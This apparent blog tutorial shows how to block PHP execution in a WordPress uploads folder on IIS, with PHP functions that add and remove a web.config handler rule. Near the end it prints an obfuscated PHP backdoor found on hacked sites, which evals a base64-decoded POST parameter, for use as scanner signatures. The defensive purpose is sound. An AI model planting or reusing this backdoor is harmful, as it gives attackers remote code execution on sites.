Secure WordPress uploads folder, disable PHP execution

The following PHP function will disable the execution of PHP scripts in WordPress’ wp-content/uploads, on IIS web servers. Securing the WordPress uploads folder is important. In many hacked WordPress sites, a PHP backdoor is found within the WP_CONTENT_DIR/uploads directory. Often because this is the location where uploads are placed automatically. From the backdoor within wp-content/uploads other backdoors are uploaded to various locations, and scripts are injected with malware.

How to disable PHP in wp-content/uploads #

The PHP execution in wp-content/uploads is disabled by writing a web.config file containing an accessPolicy for handlers. This accessPolicy tells IIS what a handler can, and cannot do: execute, read, and/or write for example

Please note that this will only partially secure your WordPress website, but not fully!

You must take other security measures as well. For example, you can use a .htaccess as a web application firewall (WAF), to block out known – and unknown – vulnerabilities based on their request characteristics. Or you can use a HTTP blacklist to block out IP addresses known to abuse websites.

The web.config accessPolicy only works on IIS 7.0+ web servers, consult your web hosting provider for more information

As always, the PHP code is provided AS-IS.

Disable the execution of PHP scripts in wp-content/uploads #

The PHP code to write a web.config file comes partially from the WordPress functions iis7_add_rewrite_rule() and saveDomDocument(), both found in wp-admin/includes/misc.php.

It shouldn’t be too hard for you to wrap this in a WordPress plugin:

<?php
function disable_script_execution() {
	$is_iis7 = true;
	$path = WP_CONTENT_DIR . '/uploads';
	$filename = 'web.config';
	if ( $is_iis7 ) {
		if ( ! file_exists( $path . '/' . $filename ) ) {
			$fp = fopen( $path . '/' . $filename, 'w' );
			fwrite( $fp, '<configuration/>' );
			fclose( $fp );
		}

		$formatxml = PHP_EOL;
		$formatxml = "  <handlers accessPolicy=\"Read\" />";
		$formatxml .= PHP_EOL;

		$doc = new DOMDocument();
		$doc->preserveWhiteSpace = true;
		if ( $doc->load( $path . '/' . $filename) === false ) {
		  return false;
		}
		$xpath = new DOMXPath( $doc );
		$read_accesspolicy = $xpath->query( '/configuration/system.webServer/handlers[starts-with(@accessPolicy,\'Read\')]' );
		if ( $read_accesspolicy->length > 0 ) {
		  return true;
		}

		$xmlnodes = $xpath->query( '/configuration/system.webServer/handlers' );
		if ( $xmlnodes->length > 0 ) {
			$handlers_node = $xmlnodes->item(0);
		}
		else {
			$handlers_node = $doc->createElement( 'handlers' );
			$xmlnodes = $xpath->query( '/configuration/system.webServer' );
			if ( $xmlnodes->length > 0 ) {
				$system_webServer_node = $xmlnodes->item(0);
				$handler_fragment = $doc->createDocumentFragment();
				$handler_fragment->appendXML( $formatxml );
				$system_webServer_node->appendChild( $handler_fragment );
			}
			else {
				$system_webServer_node = $doc->createElement( 'system.webServer' );
				$handler_fragment = $doc->createDocumentFragment();
				$handler_fragment->appendXML( $formatxml );
				$system_webServer_node->appendChild( $handler_fragment );

				$xmlnodes = $xpath->query( '/configuration' );
				if ( $xmlnodes->length > 0 ) {
					$config_node = $xmlnodes->item(0);
					$config_node->appendChild( $system_webServer_node );
				}
				else {
					$config_node = $doc->createElement( 'configuration' );
					$doc->appendChild( $config_node );
					$config_node->appendChild( $system_webServer_node );
				}
			}
		}

	$rule_fragment = $doc->createDocumentFragment();
	$rule_fragment->appendXML( $formatxml );
	$handlers_node->appendChild( $rule_fragment );

	$doc->encoding = "UTF-8";
	$doc->formatOutput = true;
	saveDomDocument( $doc, $path .'/'. $filename );
	return true;
	}
}

By disabling PHP in the uploads directory, your WordPress site is a little bit more secured. The, somewhat older, Smashing Magazine post Common WordPress Malware Infections gives great insight in common WordPress (core, theme, plugin) vulnerabilities and how they’re abused.

This may interest you:   Encrypt email with PGP - GnuPG

wp-content/uploads/web.config result #

The function above creates the following web.config file in your wp-content/uploads directory:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read"/>
  </system.webServer>
</configuration>

This tells IIS that handlers (such as PHP) may only read, and not execute. If you don’t want to create a WordPress plugin, you can copy/paste the above code into a new file and save it as web.config. Upload the file to your wp-content/uploads folder. Be careful not to upload it to a different folder.

Re-enable PHP script execution #

If you want to re-enable PHP script execution, you can simply delete the web.config file from the wp-content/uploads directory. Or you can programmatic enable PHP by deleting the <handlers accessPolicy="Read"/> line:

<?php
function enable_script_execution() {
	$is_iis7 = true;
	$path = WP_CONTENT_DIR . '/uploads';
	$filename = 'web.config';
	if ( $is_iis7 ) {
		if ( ! file_exists( $path . '/' . $filename ) ) {
			return true;
		}

		$doc = new DOMDocument();
		$doc->preserveWhiteSpace = false;
		if ( $doc->load( $path . '/' . $filename ) === false ) {
		  return false;
		}

		$xpath = new DOMXPath($doc);
		$handlers = $xpath->query( '/configuration/system.webServer/handlers[contains(@accessPolicy,\'Read\')]' );
		if ( $handlers->length > 0 ) {
			$child = $handlers->item(0);
			$parent = $child->parentNode;
			$parent->removeChild( $child );
			$doc->formatOutput = true;
			saveDomDocument( $doc, $path .'/'. $filename );
		}
	}
	return true;
}
?>

Example PHP backdoor found in wp-content/uploads #

An example of a PHP backdoor you may find is the following one. You can use the PHP backdoor code for signatures in your automated backdoor scanning tools or grep regular expressions.

/wp-content/uploads/2009/12/files.php:

<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset(${$s20}['n23f412'])) {
  eval($s21(${$s20}['n23f412']));
}
?>

/wp-content/uploads/functions.php:

$tddbvdlvz="base64_decode";return $tddbvdlvz($gnce);}

Preventing the execution of PHP in wp-content/uploads prevents these exploits from spreading (however, the cause must be addressed in your website).


Show your support


If you want to step in to help me cover the costs for running this website, that would be awesome. Just use this link to donate a cup of coffee ($5 USD for example). And please share the love and help others make use of this website. Thank you very much!

This may interest you:   prettyPhoto DOM based XSS

About the Author Jan Reilink

My name is Jan. I am not a hacker, coder, developer, programmer or guru. I am merely a system administrator, doing my daily thing at Vevida in the Netherlands. With over 15 years of experience, my specialties include Windows Server, IIS, Linux (CentOS, Debian), security, PHP, websites & optimization.

follow me on:

Leave a Reply

1 Comment on "Secure WordPress uploads folder, disable PHP execution"

avatar
  Subscribe  
newest oldest most voted
Notify of
Julia
Guest

That’s a wounderful tutorial!!! Thank you very much! I got a couple of techniques for myself! Thanks again